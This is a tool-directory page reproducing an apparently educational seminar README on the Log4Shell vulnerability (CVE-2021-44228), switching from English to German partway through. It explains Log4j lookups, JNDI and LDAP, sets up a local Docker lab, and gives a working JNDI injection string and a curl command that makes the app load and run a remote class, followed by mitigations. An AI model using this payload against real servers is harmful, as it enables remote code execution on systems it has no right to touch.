Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
hka-seminar-log4shell — Praktische Demonstration der Log4Shell-Sicherheitslücke (CVE-2021-44228) | Kitploit
Tools/GitHubGitHub/fabioeletto/hka-seminar-log4shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Praktische Demonstration der Log4Shell-Sicherheitslücke (CVE-2021-44228)

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Seminar Paper - Log4Shell Vulnerability Demonstration (CVE-2021-44228)

Security Notice

This repository is intended exclusively for educational and demonstration purposes as part of a security-related seminar paper. Do not use this code in production environments or against systems without explicit permission. The setup aims to promote security awareness and show how complex vulnerabilities can arise when seemingly harmless features such as logging, name resolution, and dynamic class loading are combined.

Table of Contents

  • 1. Project Description

    • 1.1 Objective of the Seminar Paper
    • 1.2 Overview of the Demonstration
  • 2. What is Log4Shell?

  • 3. Technical Components in Detail

    • 3.1 Log4j - How It Works
    • 3.2 JNDI - Lookup Mechanism
    • 3.3 LDAP - Structure and Role
    • 3.4 General Log4Shell Flow
  • 4. Project Structure and Setup

    • 4.1 Directory Overview
    • 4.2 Prerequisites
    • 4.3 Setup
  • 5. Demo of the Project

  • 6. Protective Measures

  • 7. Conclusion

  • 8. Sources

1. Project Description

1.1 Objective of the Seminar Paper

The goal of this seminar paper is to provide an in-depth understanding of the Log4Shell security vulnerability (CVE-2021-44228), which became known in December 2021 and was classified as one of the most critical security vulnerabilities in recent years. The paper explains both the theoretical foundations and provides a practical demonstration of the vulnerability.

1.2 Overview of the Demonstration

For a practical illustration of the Log4Shell security vulnerability, an isolated and containerized environment has been set up in this repository, which reproduces the complete attack chain. The demonstration is based on three central components:

  • vulnerable-app: A deliberately vulnerable Spring Boot application with Log4j version 2.14.1. It logs the User-Agent header from the HTTP request, which attackers can manipulate to exploit the vulnerability.
  • ldap-server: A fork of the well-known tool marshalsec, which acts as an LDAP server. This server is under the attacker's control and delivers a reference to a malicious Java class that is later executed.
  • payload-server: A simple HTTP server that serves a malicious Java class (Exploit.class). Like the LDAP server, this server is under the attacker's control.

Note: More detailed information about the setup and execution of the demonstration can be found in sections 4. Project Structure and Setup and 5. Demo of the Project.

2. What is Log4Shell?

Log4Shell is the name of a critical security vulnerability in the Java library Log4j with the identifier CVE-2021-44228. It enables an attacker to execute arbitrary code on a remote server (Remote Code Execution, or RCE) with minimal effort.

The vulnerability affects Log4j versions 2.0 to 2.14.1 and is so severe that it was classified with the highest risk level by many security authorities, including the BSI (German Federal Office for Information Security).

Log4Shell is particularly dangerous because...

  • Log4j is extremely widespread. It is used from game servers to enterprise applications.
  • No authentication is required; any anonymous external attacker can potentially cause harm.
  • The attack vector is trivial; sending a manipulated string to the application is often sufficient.
  • The functionality in Log4j that enables this vulnerability is enabled by default.

The actual cause lies in a feature of Log4j that allows dynamic content to be loaded into log messages through so-called Lookups. In combination with JNDI (Java Naming and Directory Interface) and the LDAP (Lightweight Directory Access Protocol) protocol, this allows remote malicious Java classes to be loaded and executed.

The discovery and publication of the vulnerability triggered a global security wave. Many systems had to be immediately patched or taken offline. In the aftermath, further related vulnerabilities (e.g., CVE-2021-45046) became known, demonstrating how deep and dangerous the problem was.

In the following sections, the technologies involved and their interplay are explained in detail to develop a deeper understanding of the vulnerability.

3. Technical Components in Detail

3.1 Log4j - How It Works

Log4j is a library created by Apache for logging events in Java applications. Logging is a central tool in software development for monitoring systems or analyzing errors. Log4j is one of the best-known and most widely used logging frameworks in the Java ecosystem and is used in both small applications and large enterprise systems.

Why Logging?

While a program runs, events such as the following occur:

  • User requests
  • Internal state changes
  • Error messages

These events can be documented with logs, usually as text output to the console, to files, or over network protocols to central log servers. Well-designed logging makes it possible to trace what the application did when.

What does Log4j offer?

Log4j provides a flexible, highly configurable infrastructure for generating and processing log messages. Key features include:

  • Log Levels: There are different priority levels (e.g., DEBUG, INFO, WARN, ERROR) that control how detailed logging should be.
  • Appenders: Log output can be directed to various destinations (e.g., console, file, or remote servers).
  • Layouts: Layouts allow defining the format of the log message (e.g., timestamp, thread, message).

Further features relevant to this seminar paper are covered in later sections, particularly the placeholder functionality and lookup functionality.

Simple Example```java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Example { private static final Logger logger = LogManager.getLogger();

root@kitploit:~
public static void main(String[] args) {
    logger.info("Starte Anwendung...");
}

}

root@kitploit:~
In this simple example, a logger instance is created or retrieved if it already exists. Then a log message is output at the `INFO` level. Log4j handles the formatting and output of the message based on the configuration. An example configuration could look as follows:```xml
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

This configuration defines an appender that outputs log messages in the format Datum Uhrzeit Log-Level Loggername - Nachricht on the console. This appender is then assigned to the root logger, which processes all log messages from level INFO.

The output could then look like this:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...

root@kitploit:~
Now let's turn to the specific features of Log4j that are most relevant to the Log4Shell vulnerability.

#### Placeholders in Log Messages

A particularly useful feature of Log4j is the support for **placeholders** in log messages. This allows dynamic content to be inserted into the log output at runtime:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);

At runtime, {} is replaced by the actual value of the variable username. This results in the following output:```text "Benutzer angemeldet: Alice"

root@kitploit:~
#### Dynamic Expressions Called Lookups

In addition to simple placeholders, Log4j also offers the ability to resolve more complex expressions directly in the log message. This function is called **Lookup**: it allows values to be dynamically inserted at runtime (e.g., environment variables, system information, or configuration values).

Examples of such dynamic expressions:

- `${env:HOME}` - returns the value of the environment variable `HOME`. On Linux / macOS this would be e.g., `/home/username`.
- `${docker:...}` - could provide information about the Docker container in which the application is running.
- `${jndi:...}` - performs a JNDI lookup to load internal or external resources.

The next section examines the JNDI functionality in more detail, as it plays a central role in the Log4Shell vulnerability.

### 3.2 JNDI - Lookup Mechanism

**JNDI** stands for _Java Naming and Directory Interface_ and is a standardized Java API that enables access to **naming and directory services**. With JNDI, Java applications can reference resources not directly via technical paths, but via symbolic names.

A classic use of JNDI is looking up database connections, which you see here:```java
public class JndiExample {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
        // Datenbankverbindung verwenden
    }
}

First, an InitialContext is created, which represents the entry point for name resolution using JNDI. Then a resource is looked up via the lookup method. In this case, a data source (DataSource) with the symbolic name java:/comp/env/jdbc/myDB.

What advantages does JNDI offer?

  • Decoupling of application and infrastructure: Configurations do not have to be stored in the code, but can be managed centrally on a server.
  • Reusability and portability: An application can easily run in multiple environments (e.g., development, test, production) without having to adapt the code. Only the respective configuration files need to be adjusted.
  • Flexibility: JNDI is protocol-independent; only an interface is provided and the actual communication is taken over by a so-called Service Provider in the background. This allows JNDI to access various services, not only LDAP but also RMI, DNS, CORBA, etc.

Structure of JNDI

JNDI structure

The Java application uses the protocol-independent interface of JNDI, which contains classes such as InitialContext, with the lookup method. The API is always the same, whether one uses LDAP, DNS, etc. The Naming Manager acts as a mediator and selects the appropriate Service Provider that handles the actual communication. The JNDI SPI (Service Provider Interface) is a collection of classes that implement JNDI functionality for different protocols. In our case, the relevant service provider is LDAP.

In the next section, we will take a closer look at the service provider LDAP.

3.3 LDAP - Structure and Role

LDAP stands for Lightweight Directory Access Protocol and is a standardized network protocol that enables access to so-called directory services. It was originally developed as a lightweight alternative to X.500 and is now a standard in many corporate networks, especially for central user and rights management.

What is a directory service?

A directory service is a structured database that stores information in hierarchical form. Unlike relational databases, a directory is:

  • rather read-oriented
  • strongly hierarchical in structure (like a file system)
  • optimized for fast access to identity or configuration data

Structure of an LDAP directory

LDAP tree

As can be seen in the image, an LDAP directory is organized in a tree-like structure. At the root level there are Domain Components (dc). Below them there can be Organizational Units (ou), which represent further subdivisions, such as Users. For individual users or objects, there are Common Names (cn), which identify the specific entry and can contain various attributes.

Meaning:

  • dn: Distinguished Name
  • dc: Domain Component
  • ou: Organizational Unit
  • cn: Common Name

Let us now look at how LDAP is addressed and what role it plays in the Log4Shell vulnerability.

How is LDAP addressed?

In LDAP one can also store references to external classes, which can then be loaded on demand. This is done via special attributes such as javaClassName and javaCodeBase. These attributes can point to a URL from which a Java class is to be loaded.

With the following URL, for example, we can query an object that refers to a Java class:``` ldap://ldap-server:1389/Exploit

root@kitploit:~
![LDAP entry](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)

As can be seen in the image, the LDAP entry contains an attribute `javaClassName` that references the class `Exploit`. The attribute `javaCodeBase` specifies the URL from which the class is to be loaded. In this case, it is an HTTP server with the address `http://payload-server/` providing the `Exploit.class`.

Now we have examined all technical components in detail. In the next section, the general flow of the Log4Shell vulnerability is described to understand how these technologies interact and what attack vector arises from it.

### 3.4 General Flow of Log4Shell

After examining the three involved technologies – **Log4j** as a logging framework, **JNDI** as an interface for directory services, and **LDAP** as a concrete directory service – individually, it becomes clear how dangerous their combination can be if no security precautions are taken.

In Log4j versions up to 2.14.1, it was possible to evaluate so-called **Lookups** directly in log messages. This allowed JNDI queries via LDAP to be incorporated, which could then load and execute arbitrary Java classes from a remote server without explicitly enabling this functionality.

#### Concrete scenario in interaction:

Now we implement what we have just learned in a concrete example. As a first step, we start a JNDI lookup with the following expression:```text
${jndi:...}

Now, let's use the LDAP Service Provider to load a remote Java class ldap://ldap-server:1389/Exploit. Together, this results in the following string:```text ${jndi:ldap://ldap-server:1389/Exploit}

root@kitploit:~
Now an attacker only needs to ensure that this string ends up in a log message, for example by manipulating an HTTP header.

![Log4Shell-Ablauf](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)

As can be seen in the image, there is the attacker on the left who hosts their own LDAP server and payload server. On the right is the vulnerable application with Log4j version 2.14.1. The attack flow is as follows:

1. An attacker sends an HTTP request to the application and inserts the manipulated string shown above, for example in the `User-Agent` header:   ```http
   User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
  1. The application logs the User-Agent-Header: ```java logger.info("User-Agent: {}", request.getHeader("User-Agent"));
    root@kitploit:~

Log4j erkennt ${jndi:...}und führt automatisch einen JNDI-Lookup über das angegebene Protokoll ldap durch

  1. Nun wird der LDAP-Service Provider aufgerufen, um die angegebene URL ldap://ldap-server:1389/Exploit aufzulösen.

  2. Der LDAP-Server antwortet mit einem Verweis auf eine externe Java-Klasse (Exploit.class), die sich auf folgendem Server befindet: ``` http://payload-server:8000/Exploit.class

    root@kitploit:~
  3. The application sends a request to the payload server to load the Exploit.class.

  4. The payload server responds with the Java class Exploit.class. This class is then executed without any validation. The attacker thus has complete control over the code that runs on the vulnerable server.

Why does this work?

Because:

  • Log4j interprets the log message instead of just outputting it
  • JNDI internally allows connections to arbitrary service providers
  • The class loader executes external code without restrictions.

The interaction of dynamic lookups in Log4j, flexible name resolution via JNDI, and the LDAP protocol creates an unexpected attack surface. What was originally intended as a powerful configuration feature became a gateway for remote code execution.

The next section describes the project structure and demo setup to run the vulnerability locally.

4. Project Structure and Setup

4.1 Directory Overview

The project structure reflects the three central components:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...

root@kitploit:~
### 4.2 Prerequisites

To run the Log4Shell demo locally, the following prerequisites are required:

#### Docker & Docker Compose

The entire infrastructure is based on containers. Docker ensures that each component (vulnerable-app, ldap-server, payload-server) runs in an isolated environment.

- **Docker**:  
  Installation at [https://www.docker.com/get-started](https://www.docker.com/get-started)

- **Docker Compose** (is already included with Docker Desktop)  
  Alternatively installable via [https://docs.docker.com/compose/](https://docs.docker.com/compose/)

#### cURL

To execute the attack via the command line, the `curl` tool can be used:

- Already pre-installed on Linux/macOS
- On Windows via [https://curl.se/](https://curl.se/) or included in Git Bash

> **Note:** The application and all included servers run locally on your machine and communicate exclusively within an isolated Docker network (`log4shell-network`). No connection to external servers is needed or established.

### 4.3 Setup

This section describes how to set up and start the environment locally.

#### Step 1: Clone the repository```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell

Step 2: Create and start containers

With Docker Compose, all required services can be started with a single command:```bash docker-compose up --build

root@kitploit:~
`docker-compose up --build` causes:

- The images for `vulnerable_app`, `ldap_server` and `payload_server` will be built
- All three services will be started
- They communicate via a shared internal Docker network (`log4shell-network`)

After successful startup, the application can be reached via the following endpoint:```
http://localhost:8080

Log output and events appear live in the console. The containers run as long as the terminal window is open (or the process runs in the background).

Note: Ensure that no other services are running on ports 8080, 1389, or 8000 to avoid conflicts.

If you wish to close the containers, you can do so with docker-compose down. This will stop and remove all running containers, but the images will be retained.

5. Project Demo

This section demonstrates how the Log4Shell vulnerability can be triggered in the provided demo environment. All previously started components work together:

  • The vulnerable-app logs the User-Agent header with Log4j
  • The ldap-server returns a manipulated reference
  • The payload-server provides the actual Java class (Exploit.class)

Step-by-Step Attack

To run the demo, you need two console windows. First, start the environment with docker-compose up --build in one terminal, if you haven't already done so. In a second terminal, proceed with the following steps:

  1. Verify that the file does not yet exist:

    Since this is a demo, the exploit merely creates an empty file to demonstrate successful execution. You can see this in the class payload-server/Exploit.java. To check whether the file does not yet exist, run the following command: ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

If the file does not exist, an error message like No such file or directory should appear. This confirms that the exploit has not been executed yet.

  1. Send the manipulated string to the application: ```bash curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
    root@kitploit:~

Explanation of the Payload:

  • ${jndi:...}: Log4j automatically interprets this expression and performs a JNDI lookup.
  • ldap://ldap-server:1389: Connects to the LDAP server running in the Docker network.
  • /Exploit: Name of the LDAP entry that points to the malicious class.
  • http://localhost:8080: The URL of the vulnerable application to which you send the request to trigger the Log4j vulnerability.
  1. What happens in the background?

    Log4Shell console output

    • The application receives the request and wants to log the User-Agent header
    • Log4j evaluates the User-Agent header and performs a JNDI lookup via LDAP
    • The LDAP server points to a remote Exploit.class provided by the payload server
    • The application loads the class from the payload server and executes it
    • Finally, the original log message is logged with the dynamic content

Note: As mentioned, in this demo only an empty file is created to demonstrate successful execution. In real attack scenarios, arbitrary code could be executed!

  1. Verify the attack sequence

    Now you can verify again whether the file /tmp/remote_code_execution was created in the container: ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

If the attack was successful, you should see the following output: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution

root@kitploit:~
With just a single manipulated log line, a complete remote code execution process is triggered — that is exactly what makes Log4Shell so dangerous. This demo shows how the interplay of **Log4j**, **JNDI**, and **LDAP** can lead to exploitation.

## 6. Protective Measures

The Log4Shell vulnerability has shown how profoundly modern applications can be compromised by seemingly harmless features. To effectively secure systems against such attacks, the following measures should be implemented:

- **Update Log4j version (at least 2.17.1)**

The most important measure is the **update to a Log4j version ≥ 2.17.1**, because only from this version onwards have all known vulnerabilities (including DoS and configuration exploits) been fixed. Earlier versions remain vulnerable and should no longer be used!

- **Disable JNDI lookups**

If a full update is not possible, **JNDI lookups should be disabled**. This can be done in the `log4j2.properties` file by setting the following configuration:  ```properties
log4j2.formatMsgNoLookups=true

Diese Einstellung verhindert, dass Log4j JNDI-Lookups in Log-Nachrichten auswertet. Dadurch wird die Angriffsfläche erheblich reduziert. Jedoch ist dies nur ein temporärer Workaround, da andere Schwachstellen weiterhin bestehen können (DoS, Konfigurations-Exploits).

  • Eingaben validieren

    Alle Benutzereingaben sollten validiert und bereinigt werden, bevor sie in Log-Nachrichten verwendet werden. Insbesondere sollten dynamische Ausdrücke wie ${jndi:...} nicht direkt übernommen werden.

  • Ausgehende Netzwerkverbindungen einschränken

    Ein zentraler Bestandteil des Exploits war der ungehinderte Zugriff auf externe Server, welche vom Angreifer kontrolliert werden. Systeme sollten so konfiguriert werden, dass sie nicht beliebige externe Ziele erreichen können, z. B. durch Firewalls oder Netzwerk-Policies. Insbesondere sollte der Zugriff auf unbekannte LDAP-Ziele aus der Anwendung heraus unterbunden werden.

7. Fazit

Die Log4Shell-Sicherheitslücke zeigt eindrucksvoll, wie wichtig es ist, sich nicht nur auf die Sicherheit des eigenen Codes zu verlassen, sondern auch die genutzten Bibliotheken und Frameworks sorgfältig auszuwählen und zu verstehen. In diesem Fall führte eine scheinbar harmlose Logging-Bibliothek (Log4j) zu einer Remote-Code-Execution-Schwachstelle. Daran sieht man, dass auch Abhängigkeiten zu einer Einfallstür für Exploits werden können. Man sollte sich immer fragen, ob man eine externe Bibliothek wirklich benötigt oder ob sich eine Funktion auch ohne zusätzliche Abhängigkeiten umsetzen lässt.

Ein weiterer wichtiger Punkt ist das Thema versteckte Komplexität. Funktionen wie ${env:HOME} innerhalb einer Log-Nachricht sehen harmlos aus, verbergen aber komplexe Mechanismen im Hintergrund, wie dynamische Lookups. Dadurch kann sich unbemerkt gefährliches Verhalten einschleichen. Alternativ sollte man lieber explizite und transparente Lösungen verwenden, etwa System.getenv("HOME"), so behält man die Kontrolle und kann nachvollziehen, was passiert.

Zudem gilt ein allgemeiner, aber oft vernachlässigter Grundsatz: Niemals Benutzereingaben ungeprüft weiterverarbeiten. Besonders bei sicherheitsrelevanten Operationen wie Logging, Datenbankzugriffen oder Systembefehlen müssen Eingaben validiert und bereinigt werden.

Nicht zuletzt zeigt der Vorfall, wie gefährlich es sein kann, wenn mächtige Features wie JNDI-Lookups standardmäßig aktiviert sind. Wäre in Log4j diese Funktion nicht standardmäßig aktiviert gewesen, wäre nur eine kleine Teilmenge der Systeme betroffen gewesen.

Die wichtigsten Erkenntnisse:

  • Sicherheitslücken können auch in scheinbar harmlosen Bibliotheken stecken.
  • Überlegen, ob man externe Bibliotheken wirklich benötigt.
  • Versteckte Komplexität vermeiden.
  • Niemals ungeprüfte Benutzereingaben weiterverarbeiten.
  • Mächtige Features wie JNDI-Lookups sollten nicht standardmäßig aktiviert sein.

8. Quellen

  • CVE-2021-44228 – National Vulnerability Database (NVD)
  • BSI-Warnmeldung zu Log4Shell
  • Log4j Dokumentation
  • JNDI Konzepte
  • JNDI Overview
  • LDAP Einführung (RFC 4511)
  • LDAP
  • Log4Shell
  • Log4Shell Video Teil 1
  • Log4Shell Video Teil 2
  • Fork marshalsec
Download Tool